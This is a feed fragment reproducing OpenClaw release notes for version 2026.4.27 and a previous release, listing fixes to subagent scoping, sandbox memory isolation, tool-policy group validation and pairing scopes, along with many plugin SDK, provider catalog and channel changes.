<li>Configure/models: keep the model picker scoped to the selected manifest provider and enable its bundled plugin before catalog lookup, so choosing GitHub Copilot no longer falls back to Ollama or skips the catalog. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350379800" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74322" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74322/hovercard" href="https://github.com/openclaw/openclaw/pull/74322">#74322</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Auto-reply/subagents: reject <code>/focus</code> from leaf subagents and scope fallback target resolution to the requesting subagent's children, so subagents cannot bind conversations outside their control boundary. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344094857" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73613" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73613/hovercard" href="https://github.com/openclaw/openclaw/pull/73613">#73613</a>) Thanks @drobison00.</li>
<li>Gateway/startup: skip inherited workspace startup memory for sandboxed spawned sessions without real-workspace write access, so <code>/new</code> no longer preloads host workspace memory into isolated child runs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344082702" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73611" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73611/hovercard" href="https://github.com/openclaw/openclaw/pull/73611">#73611</a>) Thanks @drobison00.</li>
<li>Agents/tool policy: validate caller group IDs against session or spawned context before applying group-scoped tool policies or persisting gateway group metadata, so forged group IDs cannot unlock more permissive tools. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345261616" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73720" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73720/hovercard" href="https://github.com/openclaw/openclaw/pull/73720">#73720</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</li>
<li>Commands: keep channel-prefixed owner allowlist entries scoped to matching providers so webchat command contexts cannot inherit external channel owners. Thanks @zsxsoft.</li>
<li>Auth/device pairing: bound bootstrap handoff token issuance, redemption, and approved pairing baselines to the documented per-role scope allowlist, so bootstrap approvals cannot persistently grant <code>operator.admin</code>, <code>operator.pairing</code>, or <code>node.exec</code> scopes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eleqtrizit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eleqtrizit">@eleqtrizit</a>.</li>
<li>Providers/GitHub Copilot: support the GUI/RPC wizard device-code auth flow so onboarding from non-TTY clients (gateway RPC bridge, GUI wizards) completes instead of returning empty profiles. Dangerous-state handling now distinguishes <code>access_denied</code> and <code>expired_token</code> from transport errors. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340731383" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73290" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73290/hovercard" href="https://github.com/openclaw/openclaw/pull/73290">#73290</a>) Thanks @indierawk2k2.</li>
<li>Installer/Linux: warn before switching an unwritable npm global prefix to <code>~/.npm-global</code>, then tell users to run future global updates with <code>npm i -g openclaw@latest</code> without <code>sudo</code> so npm keeps using the redirected user prefix. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4067034134" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44365" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44365/hovercard" href="https://github.com/openclaw/openclaw/issues/44365">#44365</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4102245984" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50479" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/50479/hovercard" href="https://github.com/openclaw/openclaw/pull/50479">#50479</a>. Thanks @Sayeem3051.</li>
<li>Gateway/plugins: enable the native <code>require()</code> fast path on Windows for bundled plugin modules so plugin loading uses <code>require()</code> instead of Jiti's transform pipeline, reducing startup from ~39s to ~2s on typical 6-plugin setups. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4288746847" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68656" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68656/hovercard" href="https://github.com/openclaw/openclaw/issues/68656">#68656</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348588169" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74173/hovercard" href="https://github.com/openclaw/openclaw/pull/74173">#74173</a>) Thanks @galiniliev.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.4.27]]></title>
<description><![CDATA[2026.4.27
Changes

Sandbox/Docker: add opt-in sandbox.docker.gpus passthrough for Docker sandbox containers so local GPU workloads can run inside sandboxed agents when the host Docker runtime supports --gpus. Fixes #57976; carries forward #58124. Thanks @cyan-ember.
iOS/Gateway: add an authentica...]]></description>
<link>https://tsecurity.de/de/3475895/downloads/openclaw-2026427/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3475895/downloads/openclaw-2026427/</guid>
<pubDate>Thu, 30 Apr 2026 00:15:46 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.4.27</h2>
<h3>Changes</h3>
<ul>
<li>Sandbox/Docker: add opt-in <code>sandbox.docker.gpus</code> passthrough for Docker sandbox containers so local GPU workloads can run inside sandboxed agents when the host Docker runtime supports <code>--gpus</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4174567936" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57976" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/57976/hovercard" href="https://github.com/openclaw/openclaw/issues/57976">#57976</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4175598032" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58124" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58124/hovercard" href="https://github.com/openclaw/openclaw/pull/58124">#58124</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyan-ember/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyan-ember">@cyan-ember</a>.</li>
<li>iOS/Gateway: add an authenticated <code>node.presence.alive</code> protocol event and <code>node.list</code> last-seen fields so background iOS wakes can mark paired nodes recently alive without treating them as connected. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4224034257" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63123" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63123/hovercard" href="https://github.com/openclaw/openclaw/pull/63123">#63123</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Android: publish authenticated <code>node.presence.alive</code> events after node connect and background transitions so paired Android nodes retain durable last-seen metadata after disconnects. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4224034257" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63123" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63123/hovercard" href="https://github.com/openclaw/openclaw/pull/63123">#63123</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Gateway/chat: accept non-image attachments through <code>chat.send</code> by staging them as agent-readable media paths, while keeping unsupported RPC attachment paths explicit instead of silently dropping files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4081507639" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48123" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48123/hovercard" href="https://github.com/openclaw/openclaw/issues/48123">#48123</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4274009184" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67572" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/67572/hovercard" href="https://github.com/openclaw/openclaw/pull/67572">#67572</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Security/networking: add opt-in operator-managed outbound proxy routing (proxy.enabled + proxy.proxyUrl/OPENCLAW_PROXY_URL) with strict http:// forward-proxy validation, loopback-only Gateway bypass, and cleanup of proxy env/dispatcher state on exit. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4307364306" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70044" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70044/hovercard" href="https://github.com/openclaw/openclaw/pull/70044">#70044</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Dependencies: refresh provider and tooling dependencies, including AWS SDK, PI runtime packages, AJV, Feishu SDK, Anthropic SDK, tokenjuice, and native TypeScript/oxlint tooling. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>.</li>
<li>Matrix/QA: add live Matrix approval scenarios for exec metadata, chunked fallback, plugin approvals, deny reactions, thread targeting, and <code>target: "both"</code> delivery, with redacted artifacts preserving safe approval summaries. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gumadeiras/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gumadeiras">@gumadeiras</a>.</li>
<li>Codex: add Computer Use setup for Codex-mode agents, including <code>/codex computer-use status/install</code>, marketplace discovery, optional auto-install, and fail-closed MCP server checks before Codex-mode turns start. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330543453" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72094" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72094/hovercard" href="https://github.com/openclaw/openclaw/issues/72094">#72094</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329591250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71842" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71842/hovercard" href="https://github.com/openclaw/openclaw/pull/71842">#71842</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pash-openai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pash-openai">@pash-openai</a>.</li>
<li>Apps: consume Peekaboo 3.0.0-beta4 and ElevenLabsKit 0.1.1, align Swabble on Commander 0.2.2, and refresh macOS/iOS SwiftPM resolutions against the released dependency graph. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Blaizzy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Blaizzy">@Blaizzy</a>.</li>
<li>Plugin SDK: expose shared channel route normalization, parser-driven target resolution, raw-target compact keys, parsed-target types, and route comparison helpers through <code>openclaw/plugin-sdk/channel-route</code>, switch native approval origin matching onto that route contract with optional delivery and match-only target normalization, and retire the internal channel-route shim behind dated compatibility aliases for legacy key/comparable-target helpers. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Docs/Codex: document how Codex Computer Use, direct <code>cua-driver mcp</code>, and OpenClaw.app's PeekabooBridge fit together so desktop-control setup choices are clearer. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pash-openai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pash-openai">@pash-openai</a> and <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/trycua/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/trycua">@trycua</a>.</li>
<li>Matrix/streaming: stream tool-progress updates into live Matrix preview edits by default when preview streaming is active, with <code>streaming.preview.toolProgress: false</code> to keep answer previews while hiding interim tool lines. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gumadeiras/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gumadeiras">@gumadeiras</a>.</li>
<li>Plugins/models: wire manifest <code>modelCatalog.aliases</code> and <code>modelCatalog.suppressions</code> into model-catalog planning and built-in model suppression, with stale Spark and Qwen Coding Plan suppressions now declared in plugin manifests instead of runtime fallback hooks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugin SDK/models: add a shared manifest-backed provider catalog builder and move Qianfan, Xiaomi, NVIDIA, Cerebras, Mistral, Moonshot, DeepSeek, Tencent TokenHub, and StepFun provider catalogs onto their plugin manifest <code>modelCatalog</code> rows. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugin SDK/models: move BytePlus and Volcano Engine standard and plan-provider catalogs into plugin manifest <code>modelCatalog</code> rows and remove the now-unused Volcengine-family shared catalog SDK subpath. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/models: move Fireworks and Together AI fixed provider catalogs into plugin manifest <code>modelCatalog</code> rows so provider-filtered listing can use manifest-backed static rows. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Channels/Yuanbao: register the Tencent Yuanbao external channel plugin (<code>openclaw-plugin-yuanbao</code>) in the official channel catalog, contract suites, and community plugin docs, with a new <code>docs/channels/yuanbao.md</code> quick-start guide for WebSocket bot DMs and group chats. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335031388" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72756" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72756/hovercard" href="https://github.com/openclaw/openclaw/pull/72756">#72756</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loongfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loongfay">@loongfay</a>.</li>
<li>Channels/Yuanbao: add a channel docs entrance so the Tencent Yuanbao bot appears in the channel listing and sidebar navigation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341969080" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73443" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73443/hovercard" href="https://github.com/openclaw/openclaw/pull/73443">#73443</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loongfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loongfay">@loongfay</a>.</li>
<li>Channels/QQBot: add full group chat support (history tracking, @-mention gating, activation modes, per-group config, FIFO message queue with deliver debounce), C2C <code>stream_messages</code> streaming with a <code>StreamingController</code> lifecycle manager, unified <code>sendMedia</code> with chunked upload for large files, and refactor the engine into pipeline stages, focused outbound submodules, builtin slash-command modules, and explicit DI ports via <code>createEngineAdapters()</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4316471394" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70624" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70624/hovercard" href="https://github.com/openclaw/openclaw/pull/70624">#70624</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cxyhhhhh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cxyhhhhh">@cxyhhhhh</a>.</li>
<li>Plugins/startup: migrate bundled plugin manifests to explicit <code>activation.onStartup</code> declarations so Gateway startup imports only the bundled plugins that intentionally register startup-time runtime surfaces. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/startup: add an opt-in future-mode gate for disabling deprecated implicit startup sidecar loading while preserving explicit startup and narrower activation triggers. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/startup: add plugin compatibility warnings for deprecated implicit startup loading so authors can migrate to explicit <code>activation.onStartup</code> metadata. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/runtime: load bundled agent tool-result middleware from manifest contracts on demand so tokenjuice stays startup-lazy without losing Pi/Codex tool-output compaction. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/startup: add explicit <code>activation.onStartup</code> metadata so plugins can declare Gateway startup import behavior while the deprecated implicit sidecar fallback remains for legacy plugins. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Gateway/startup: reuse lookup-table plugin manifests when loading startup plugins so Gateway boot avoids rebuilding plugin discovery and manifest metadata. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/models: declare fixed Qianfan, Xiaomi, NVIDIA, Cerebras, Mistral, Chutes, Kilo, OpenAI, and OpenCode Go model catalogs in refreshable plugin manifests, keep broad <code>models list --all</code> on raw registry and supplement rows without runtime normalization, and avoid duplicate supplement resolution. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Gateway/runtime: reuse the current plugin metadata snapshot for provider discovery so repeated model-provider discovery avoids rebuilding plugin manifest metadata. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Gateway/startup: pass the plugin metadata snapshot from config validation into plugin bootstrap so startup reuses one manifest product instead of rebuilding plugin metadata. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugin SDK/testing: move core-only channel contract fixtures under the channel contract test tree and retire the old <code>test/helpers/channels</code> bridge directory so plugin tests stay on focused SDK surfaces. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugin SDK/testing: expose native agent-runtime contract fixtures through <code>plugin-sdk/agent-runtime-test-contracts</code>, move sandbox config fixtures into the focused generic fixture subpath, and block extension tests from importing repo-only <code>test/helpers</code> bridges. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugin SDK/testing: expose generic module reload, bundled-path, Node builtin mock, channel pairing/envelope, HTTP server, temp-home, replay-policy, and live STT helpers through focused SDK test subpaths so extension tests no longer depend on repo-only helper bridges. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugin SDK: move maintained bundled channels off the deprecated <code>channel-config-schema-legacy</code> subpath, add an explicit bundled-channel schema SDK surface, and track both remaining legacy test/config compatibility barrels with dated removal windows. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugin SDK/testing: expose media provider capability assertions and provider HTTP mocks through focused SDK test subpaths, and retire the repo-only media-generation test helper bridge. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugin SDK/testing: promote bundled plugin/provider/channel contract helpers to focused SDK test subpaths and retire the repo-only <code>test/helpers/plugins</code> TypeScript bridge. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugin SDK/testing: expose generic channel action, setup, status, and directory contract helpers through <code>plugin-sdk/channel-test-helpers</code> so bundled extension tests no longer import repo-only channel helper bridges. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugin SDK/testing: add <code>plugin-sdk/channel-target-testing</code> for shared channel target-resolution cases, document channel reaction helpers on <code>plugin-sdk/channel-feedback</code>, and keep the old <code>plugin-sdk/test-utils</code> alias as compatibility-only. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugin SDK/testing: add a focused generic fixture subpath for CLI capture, sandbox, skill, agent-message, system-event, terminal, chunking, auth-token, and typed-case helpers. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugin SDK/testing: add focused plugin runtime and environment fixture subpaths so plugin tests can avoid the broad <code>plugin-sdk/testing</code> barrel for common setup helpers. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugin SDK/testing: add a focused <code>plugin-sdk/plugin-test-api</code> helper subpath and move bundled plugin registration tests off the repo-only plugin API bridge. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugin SDK: add generic host hooks for session state, next-turn context, trusted tool policy, UI descriptors, events, scheduler cleanup, and run-scoped plugin context. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331488241" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72287" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72287/hovercard" href="https://github.com/openclaw/openclaw/pull/72287">#72287</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Plugin SDK/testing: expose provider catalog, wizard, registry, manifest, public-artifact, outbound, and TTS contract helpers through documented SDK testing seams so bundled plugin tests no longer import repo <code>src/**</code> internals. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Providers/DeepInfra: add a bundled DeepInfra provider with <code>DEEPINFRA_API_KEY</code> onboarding, dynamic OpenAI-compatible model discovery, image generation/editing, image/audio media understanding, TTS, text-to-video, memory embeddings, static catalog metadata, and provider-owned base URL policy. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4129162171" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53805" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/53805/hovercard" href="https://github.com/openclaw/openclaw/pull/53805">#53805</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4081292816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48088" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/48088/hovercard" href="https://github.com/openclaw/openclaw/pull/48088">#48088</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4033250790" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/37576" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/37576/hovercard" href="https://github.com/openclaw/openclaw/pull/37576">#37576</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4063305884" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43896" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/43896/hovercard" href="https://github.com/openclaw/openclaw/issues/43896">#43896</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3911558639" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/11533" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/11533/hovercard" href="https://github.com/openclaw/openclaw/issues/11533">#11533</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3858643301" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/2554" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/2554/hovercard" href="https://github.com/openclaw/openclaw/issues/2554">#2554</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ats3v/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ats3v">@ats3v</a>.</li>
<li>Matrix: attach versioned structured approval metadata to pending approval messages so capable Matrix clients can render richer approval UI while body text and reaction fallback keep working. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332314876" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72432" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72432/hovercard" href="https://github.com/openclaw/openclaw/pull/72432">#72432</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kakahu2015/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kakahu2015">@kakahu2015</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
